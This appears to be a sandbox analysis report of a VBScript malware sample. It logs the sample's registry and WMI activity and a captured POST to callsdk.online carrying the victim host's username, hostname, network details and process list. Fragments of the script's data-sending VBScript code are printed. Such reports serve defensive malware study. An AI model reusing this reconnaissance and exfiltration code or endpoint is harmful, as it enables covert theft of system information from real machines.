"WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")37:T5f8,"WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\22FF89586561FC2D52F77491E9F1EFF1B80BE33E"; Key: "BLOB") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTLASTSYNCTIME") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB")38:T77b,"WScript.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}") "WScript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "Wbem Scripting Object Path" (Path: "HKCU\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\TREATAS") "WScript.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WScript.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "WScript.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "WScript.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "WScript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "WScript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "WScript.exe" touched "WBEM Scripting DateTime" (Path: "HKCU\CLSID\{47DFBE54-CF76-11D3-B38F-00105A1F473A}\TREATAS") "WScript.exe" touched "FileSystem Object" (Path: "HKCU\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "WScript.exe" touched "Scripting.Dictionary" (Path: "HKCU\CLSID\{EE09B103-97E0-11CF-978F-00A02463E06F}\TREATAS") "WScript.exe" touched "WinHttpRequest Component version 5.1" (Path: "HKCU\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\TREATAS")39:T11d0,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "DISABLEMANDATORYBASICCONSTRAINTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "DISABLECANAMECONSTRAINTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "DISABLEUNSUPPORTEDCRITICALEXTENSIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXAIAURLCOUNTINCERT"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXAIAURLRETRIEVALCOUNTPERCHAIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXURLRETRIEVALBYTECOUNT"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXAIAURLRETRIEVALBYTECOUNT"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXAIAURLRETRIEVALCERTCOUNT"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXVERIFYSIGNATURECOUNTPERCHAIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXISSUERDEPTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXPATHCOUNTPERCHAIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "CRYPTNETPREFETCHTRIGGERPERIODSECONDS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "ENABLEWEAKSIGNATUREFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MINRSAPUBKEYBITLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "WEAKRSAPUBKEYTIME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "CHAINCACHERESYNCFILETIME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "ENABLESTRICTCHECKSFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "WEAKMD5THIRDPARTYFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG\DEFAULT"; Key: "WEAKMD5THIRDPARTYFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG\DEFAULT"; Key: "WEAKMD5THIRDPARTYAFTERTIME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "WEAKMD5ALLFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CI\CONFIG"; Key: "WEAKMD5ALLFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG\DEFAULT"; Key: "WEAKMD5ALLFLAGS"; Value: "")3a:Tf1c,file/memory contains long string with (Indicator: " Win32_ComputerSystem"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") file/memory contains long string with (Indicator: " Win32_OperatingSystem"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") file/memory contains long string with (Indicator: " Win32_Process"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") file/memory contains long string with (Indicator: " Win32_Processor"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") file/memory contains long string with (Indicator: " Win32_TimeZone"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") file/memory contains long string with (Indicator: " Win32_NetworkAdapte"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") file/memory contains long string with (Indicator: " Win32_NetworkAdapter"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") file/memory contains long string with (Indicator: " Win32_NetworkAdapterConfiguration"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set colItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem", , 48)" (Indicator: " Win32_ComputerSystem"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: " Win32_OperatingSystem"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set csItems = ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: " Win32_ComputerSystem"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set tzItems = ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")" (Indicator: " Win32_TimeZone"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set cpuItems = ObjWMI.ExecQuery("SELECT * FROM Win32_Processor")" (Indicator: " Win32_Process"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set cpuItems = ObjWMI.ExecQuery("SELECT * FROM Win32_Processor")" (Indicator: " Win32_Processor"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)" (Indicator: " Win32_NetworkAdapte"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)" (Indicator: " Win32_NetworkAdapter"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set adapItems = ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration", , 48)" (Indicator: " Win32_NetworkAdapterConfiguration"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "Set prclst = objWMIService.ExecQuery("Select * from Win32_Process")" (Indicator: " Win32_Process"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "SELECT * FROM Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00004736-00002714-499021354") Found string "Select * from Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00004736-00002714-499068624") Found string "SELECT * FROM Win32_TimeZone" (Indicator: " Win32_TimeZone"; Source: "00000000-00004736-00002714-499412676") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00004736-00002714-499468766") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00004736-00002714-499468766") Found string "SELECT * FROM Win32_NetworkAdapterConfiguration" (Indicator: " Win32_NetworkAdapte"; Source: "00000000-00004736-00002714-501708044") Found string "SELECT * FROM Win32_NetworkAdapterConfiguration" (Indicator: " Win32_NetworkAdapter"; Source: "00000000-00004736-00002714-501708044") Found string "SELECT * FROM Win32_NetworkAdapterConfiguration" (Indicator: " Win32_NetworkAdapterConfiguration"; Source: "00000000-00004736-00002714-501708044") Found string "Select * from Win32_Process" (Indicator: " Win32_Process"; Source: "00000000-00004736-00002714-501847794")3b:Tee2,"POST /info?t=3540037 HTTP/1.1 Connection: Keep-Alive Content-Type: text/plain; Charset=UTF-8 Accept: */* User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Content-Length: 3729 Host: callsdk.online" with payload::==> "UUID:2960376576Username:2EN9dtmMA3pMvPo\lFICtlXHostname:DESKTOP-8LD9T6NOS Name:Microsoft Windows 11 Pro 64-bitOS Version:10.0.22621Install Date:05/24/2023Boot Time:7/6/2026 8:43:20 AMTime Zone:(UTC -7 hours) Pacific Standard TimeCPU:Intel(R) Xeon(R) Gold 6240R CPU @ 2.40GHz (x64)CPU:Intel(R) Xeon(R) Gold 6240R CPU @ 2.40GHz (x64)Path: C:\kim_jong_un_is_a_fat_ugly_pig.vbsNetwork Adapter:Intel(R) PRO/1000 MT Network Connection MAC Address:8E:D6:DE:E9:DC:50 IP Address:192.168.0.2,fe80::f557:875c:3a9c:32e5 Subnet Mask:255.255.255.0,64 Default Gateway:192.168.0.1 DHCP Servers:192.168.0.1 DNS Server:192.168.0.1920Registry3640smss.exe5080csrss.exe6080wininit.exe6161csrss.exe6801winlogon.exe7480services.exe7680C:\WINDOWS\system32\lsass.exe9040"fontdrvhost.exe"9121"fontdrvhost.exe"4961"dwm.exe"20000Memory Compression38920C:\WINDOWS\system32\wbem\wmiprvse.exe48641sihost.exe50521taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}53121C:\WINDOWS\Explorer.EXE58681"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca59521"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca60841C:\Windows\System32\RuntimeBroker.exe -Embedding25921C:\Windows\System32\RuntimeBroker.exe -Embedding65721C:\WINDOWS\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}70321"ctfmon.exe"58001taskhostw.exe $(Arg0)53200"C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"80080SgrmBroker.exe45920C:\WINDOWS\uus\AMD64\MoUsoCoreWorker.exe79361C:\WINDOWS\uus\AMD64\MoNotificationUx.exe /NotificationType Generic_Eos_Important /FormFactor Passive /Timeout 012001"C:\Program Files\WindowsApps\Microsoft.GamingApp_2401.1001.10.0_x64__8wekyb3d8bbwe\XboxGameBarWidgets.exe" -ServerName:Microsoft.Xbox.WidgetsApp.AppXvmd054fy0d5ktfeay7jt5w8kg32dxk24.mca71241C:\Windows\System32\RuntimeBroker.exe -Embedding72801"C:\Program Files\WindowsApps\Microsoft.GamingApp_2401.1001.10.0_x64__8wekyb3d8bbwe\XboxPcAppFT.exe" -Embedding46361"C:\Program Files\WindowsApps\Microsoft.Edge.GameAssist_1.0.3590.0_x64__8wekyb3d8bbwe\EdgeGameAssist.exe" -ServerName:App.AppXjs7v3smdq2xg9r0emdwc70mxxcrc31jq.mca74121C:\WINDOWS\system32\ApplicationFrameHost.exe -Embedding38681"C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel26281C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding52480SecurityHealthService.exe73241"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca71281C:\Windows\System32\RuntimeBroker.exe -Embedding78761\??\C:\WINDOWS\system32\conhost.exe 0x458601\??\C:\WINDOWS\system32\conhost.exe 0x466600C:\WINDOWS\servicing\TrustedInstaller.exe35960C:\WINDOWS\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.22621.1626_none_e930f5a242f053dd\TiWorker.exe -Embedding80601mitmdump --set validate_inbound_headers=false --set ssl_insecure=true --mode transparent77001\??\C:\WINDOWS\system32\conhost.exe 0x447361"C:\WINDOWS\System32\WScript.exe" "C:\kim_jong_un_is_a_fat_ugly_pig.vbs" 66921"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:App.AppXe9cvj1thv1hmcw0cs98xm3r97tyzy2xs.mcaghbmnnjooekpmoecnnnilnnbdlolhkhinmmhkkegccagdldgiimedpiccmgmiedaTempjmjflgjpcpepeafmmgdpfkogkghcpiha" HTTP/1.1 200 OK Date: Mon 06 Jul 2026 15:54:28 GMT Content-Length: 0 with no response body3c:Te85,"POST /info?t=3540037 HTTP/1.1 Connection: Keep-Alive Content-Type: text/plain; Charset=UTF-8 Accept: */* User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Content-Length: 3729 Host: callsdk.online" with payload:==> "UUID:2960376576Username:2EN9dtmMA3pMvPo\lFICtlXHostname:DESKTOP-8LD9T6NOS Name:Microsoft Windows 11 Pro 64-bitOS Version:10.0.22621Install Date:05/24/2023Boot Time:7/6/2026 8:43:20 AMTime Zone:(UTC -7 hours) Pacific Standard TimeCPU:Intel(R) Xeon(R) Gold 6240R CPU @ 2.40GHz (x64)CPU:Intel(R) Xeon(R) Gold 6240R CPU @ 2.40GHz (x64)Path: C:\kim_jong_un_is_a_fat_ugly_pig.vbsNetwork Adapter:Intel(R) PRO/1000 MT Network Connection MAC Address:8E:D6:DE:E9:DC:50 IP Address:192.168.0.2,fe80::f557:875c:3a9c:32e5 Subnet Mask:255.255.255.0,64 Default Gateway:192.168.0.1 DHCP Servers:192.168.0.1 DNS Server:192.168.0.1920Registry3640smss.exe5080csrss.exe6080wininit.exe6161csrss.exe6801winlogon.exe7480services.exe7680C:\WINDOWS\system32\lsass.exe9040"fontdrvhost.exe"9121"fontdrvhost.exe"4961"dwm.exe"20000Memory Compression38920C:\WINDOWS\system32\wbem\wmiprvse.exe48641sihost.exe50521taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}53121C:\WINDOWS\Explorer.EXE58681"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca59521"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca60841C:\Windows\System32\RuntimeBroker.exe -Embedding25921C:\Windows\System32\RuntimeBroker.exe -Embedding65721C:\WINDOWS\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}70321"ctfmon.exe"58001taskhostw.exe $(Arg0)53200"C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"80080SgrmBroker.exe45920C:\WINDOWS\uus\AMD64\MoUsoCoreWorker.exe79361C:\WINDOWS\uus\AMD64\MoNotificationUx.exe /NotificationType Generic_Eos_Important /FormFactor Passive /Timeout 012001"C:\Program Files\WindowsApps\Microsoft.GamingApp_2401.1001.10.0_x64__8wekyb3d8bbwe\XboxGameBarWidgets.exe" -ServerName:Microsoft.Xbox.WidgetsApp.AppXvmd054fy0d5ktfeay7jt5w8kg32dxk24.mca71241C:\Windows\System32\RuntimeBroker.exe -Embedding72801"C:\Program Files\WindowsApps\Microsoft.GamingApp_2401.1001.10.0_x64__8wekyb3d8bbwe\XboxPcAppFT.exe" -Embedding46361"C:\Program Files\WindowsApps\Microsoft.Edge.GameAssist_1.0.3590.0_x64__8wekyb3d8bbwe\EdgeGameAssist.exe" -ServerName:App.AppXjs7v3smdq2xg9r0emdwc70mxxcrc31jq.mca74121C:\WINDOWS\system32\ApplicationFrameHost.exe -Embedding38681"C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel26281C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding52480SecurityHealthService.exe73241"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca71281C:\Windows\System32\RuntimeBroker.exe -Embedding78761\??\C:\WINDOWS\system32\conhost.exe 0x458601\??\C:\WINDOWS\system32\conhost.exe 0x466600C:\WINDOWS\servicing\TrustedInstaller.exe35960C:\WINDOWS\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.22621.1626_none_e930f5a242f053dd\TiWorker.exe -Embedding80601mitmdump --set validate_inbound_headers=false --set ssl_insecure=true --mode transparent77001\??\C:\WINDOWS\system32\conhost.exe 0x447361"C:\WINDOWS\System32\WScript.exe" "C:\kim_jong_un_is_a_fat_ugly_pig.vbs" 66921"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:App.AppXe9cvj1thv1hmcw0cs98xm3r97tyzy2xs.mcaghbmnnjooekpmoecnnnilnnbdlolhkhinmmhkkegccagdldgiimedpiccmgmiedaTempjmjflgjpcpepeafmmgdpfkogkghcpiha"3d:T50c,Found string "DatePart("m", strDate)strYear = DatePart("yyyy", strDate)If strDay < 10 Then strDay = "0" & strDayIf strMonth < 10 Then strMonth = "0" & strMonthGetFormattedDate = strMonth & "/" & strDay & "/" & strYearEnd FunctionFunction post(u, content)post = ""On Error Resume NextDim hReq, ulSet hReq = CreateObject("WinHttp.WinHttpRequest.5.1")ul = u & "?t=" & (Timer() * 100)hReq.Open "POST", ul, FalsehReq.Send contentIf hReq.Status = 200 And hReq.ResponseText <> "" Thenpost = hReq.ResponseTextEnd IfEnd FunctionSub PostStatus(baseUrl, uuidVal, statusVal)On Error Resume NextDim statusUrl, body, hReqstatusUrl = baseUrl & "/status"If Right(baseUrl, 1) = "/" Then statusUrl = baseUrl & "status"body = "{""uuid"":""" & Replace(Replace(uuidVal, "\", "\\"), """", "\""") & """ ""status"":""" & Replace(Replace(statusVal, "\", "\\"), """", "\""") & """}"Set hReq = CreateObject("WinHttp.WinHttpRequest.5.1")hReq.Open "POST", statusUrl, FalsehReq.SetRequestHeader "Content-Type", "appl" (Indicator: ".Open "POST"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "hReq.Open "POST", ul, False" (Indicator: ".Open "POST"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs") Found string "hReq.Open "POST", statusUrl, False" (Indicator: ".Open "POST"; File: "kim_jong_un_is_a_fat_ugly_pig.vbs")3e:Tc76,"WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\22FF89586561FC2D52F77491E9F1EFF1B80BE33E"; Key: "BLOB"; Value: "03000000010000001400000022FF89586561FC2D52F77491E9F1EFF1B80BE33E140000000100000014000000E7AB9F0F2C33A053D35E4F78C8B2840E3BD69233040000000100000010000000E2B5087FB27157C2B396B66D852FD5BD0F00000001000000200000009D4832BB4C8D77207B25DE17592682EFC3CA45F579DC664A0ED5F248F5C9339819000000010000001000000091226F39675BB91948014C01ED9E4BC05C0000000100000004000000000800001800000001000000100000002FE1F70BB05D7C92335BC5E05B984DA620000000010000000905000030820505308202EDA00302010202105A00F212D8D4B480F3924157EA298305300D06092A864886F70D01010B0500304F310B300906035504061302555331293027060355040A1320496E7465726E65742053656375726974792052657365617263682047726F7570311530130603550403130C4953524720526F6F74205831301E170D3234303331333030303030305A170D3237303331323233353935395A3033310B300906035504061302555331163014060355040A130D4C6574277320456E6372797074310C300A0603550403130352313330820122300D06092A864886F70D01010105000382010F003082010A0282010100A567708DD0568164151761CDB906D4AD19908C2650379816639254DBD9CC840593ECD3EC081BA0605143487D2BC748969EB42DDA9DC8273B57A19FABF0D60ED40E30CA6F9BB1D1D6A49D323E584E356F4558687117FC3ED85D82A02FB2516CB01A5DB859CE3565C88BA1AF1037FFE39C5DC2491734FF8C2B8B8DF0BC712C930C1D05C4BAC7CDAAC95E7CD1C901F79C03F6FC0A5DF4DA7BE6DB764270EBF44D22DA00776FD6C95F17FDDA752EA5570CF6EA5CB6E073A568CFA174E275827E109FC1F5A2EB01E938B10A44CCD3C289F54935820A34B31CE988C2474E820E0A36F0474F8AF1290475DACDE19A5CFF5E9D9895BA9A43D04AA21705010430D332B38F0203010001A381F83081F5300E0603551D0F0101FF040403020186301D0603551D250416301406082B0601050507030206082B0601050507030130120603551D130101FF040830060101FF020100301D0603551D0E04160414E7AB9F0F2C33A053D35E4F78C8B2840E3BD69233301F0603551D2304183016801479B459E67BB6E5E40173800888C81A58F6E99B6E303206082B0601050507010104263024302206082B060105050730028616687474703A2F2F78312E692E6C656E63722E6F72672F30130603551D20040C300A3008060667810C01020130270603551D1F0420301E301CA01AA0188616687474703A2F2F78312E632E6C656E63722E6F72672F300D06092A864886F70D01010B0500038202010051375852A1229B35BB4DBACECA92EA09F2FB54EC187FF43BF4E1F97072C265E8207D08437289E593B2A087C6F4BE2FBF5EE5AEEC237C9FF50F7A0D6FA371BEB5A5E2AEBCADB614229C01C6C1CFD475B3B28096BDCEE05C572AA81F70974D70C89D3FBC6BE73768454C2764ADFA94A7E1E77E5A40E9F228EC8A3BC4C85C04E3B86E956D0BB738E0F5F395E4F9AB83FCF159B46E2FE9340C10C71097A79C2B007A7EDCDF93E6C7B8E9989FC7B60461727CF4CA3481BF2230E8BD5022EA640AFD9204E0D3FF10C3DE07D04322AFEABA15E06D8485F13202C5A99A88F18C25021A2CA0F7B16F0ED9BF34AD8B49CF65C9B2B107BDC8DBE3F61B709A5A9BEFA40887095BB7D235BC182C4A75F86C5ED9C8CB68A6B2442A